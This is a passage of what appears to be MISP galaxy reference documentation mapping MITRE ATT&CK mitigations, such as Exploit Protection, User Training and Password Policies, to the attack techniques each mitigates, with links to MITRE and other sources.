- mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 4829. Table References

Links
https://attack.mitre.org/mitigations/M1005

Exploit Protection - M1050

Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.

The tag is: *misp-galaxy:mitre-course-of-action="Exploit Protection - M1050"*

View relationships graph

Exploit Protection - M1050 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 4830. Table References

Links
https://attack.mitre.org/mitigations/M1050

User Guidance - M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: *misp-galaxy:mitre-course-of-action="User Guidance - M1011"*

View relationships graph

User Guidance - M1011 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Geofencing - T1581" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 4831. Table References

Links

https://attack.mitre.org/mitigations/M1011

Enterprise Policy - M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Enterprise Policy - M1012"*

View relationships graph

Enterprise Policy - M1012 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 4832. Table References

Links
https://attack.mitre.org/mitigations/M1012

Interconnection Filtering - M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: *misp-galaxy:mitre-course-of-action="Interconnection Filtering - M1014"*

View relationships graph

Interconnection Filtering - M1014 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"

Table 4833. Table References

Links
https://attack.mitre.org/mitigations/M1014
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Rootkit Mitigation - T1014

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Rootkit Mitigation - T1014"*

View relationships graph

Rootkit Mitigation - T1014 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 4834. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1014
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Update Software - M1051

Perform regular software updates to mitigate exploitation risk.

The tag is: *misp-galaxy:mitre-course-of-action="Update Software - M1051"*

View relationships graph

Update Software - M1051 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 4835. Table References

Links
https://attack.mitre.org/mitigations/M1051

Vulnerability Scanning - M1016

Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.

The tag is: *misp-galaxy:mitre-course-of-action="Vulnerability Scanning - M1016"*

View relationships graph

Vulnerability Scanning - M1016 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

Table 4836. Table References

Links
https://attack.mitre.org/mitigations/M1016

Mshta Mitigation - T1170

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Mshta Mitigation - T1170"*

View relationships graph

Mshta Mitigation - T1170 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"

Table 4837. Table References

Links
https://attack.mitre.org/mitigations/T1170

User Training - M1017

Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

The tag is: *misp-galaxy:mitre-course-of-action="User Training - M1017"*

View relationships graph

User Training - M1017 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Service - T1598.001" with estimative-language:likelihood-probability="almost-certain"

Table 4838. Table References

Links
https://attack.mitre.org/mitigations/M1017

Screensaver Mitigation - T1180

Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

The tag is: *misp-galaxy:mitre-course-of-action="Screensaver Mitigation - T1180"*

View relationships graph

Screensaver Mitigation - T1180 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"

Table 4839. Table References

Links
https://attack.mitre.org/mitigations/T1180
https://technet.microsoft.com/library/cc938799.aspx

Rundll32 Mitigation - T1085

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-course-of-action="Rundll32 Mitigation - T1085"*

View relationships graph

Rundll32 Mitigation - T1085 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 4840. Table References

Links
https://attack.mitre.org/mitigations/T1085
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: *misp-galaxy:mitre-course-of-action="Hypervisor Mitigation - T1062"*

View relationships graph

Hypervisor Mitigation - T1062 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hypervisor - T1062" with estimative-

language:likelihood-probability="almost-certain"

Table 4841. Table References

Links
https://attack.mitre.org/mitigations/T1062

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"*

View relationships graph

DCShadow Mitigation - T1207 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207" with estimative-language:likelihood-probability="almost-certain"

Table 4842. Table References

Links
https://attack.mitre.org/mitigations/T1207

Password Policies - M1027

Set and enforce secure password policies for accounts.

The tag is: *misp-galaxy:mitre-course-of-action="Password Policies - M1027"*

View relationships graph

Password Policies - M1027 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
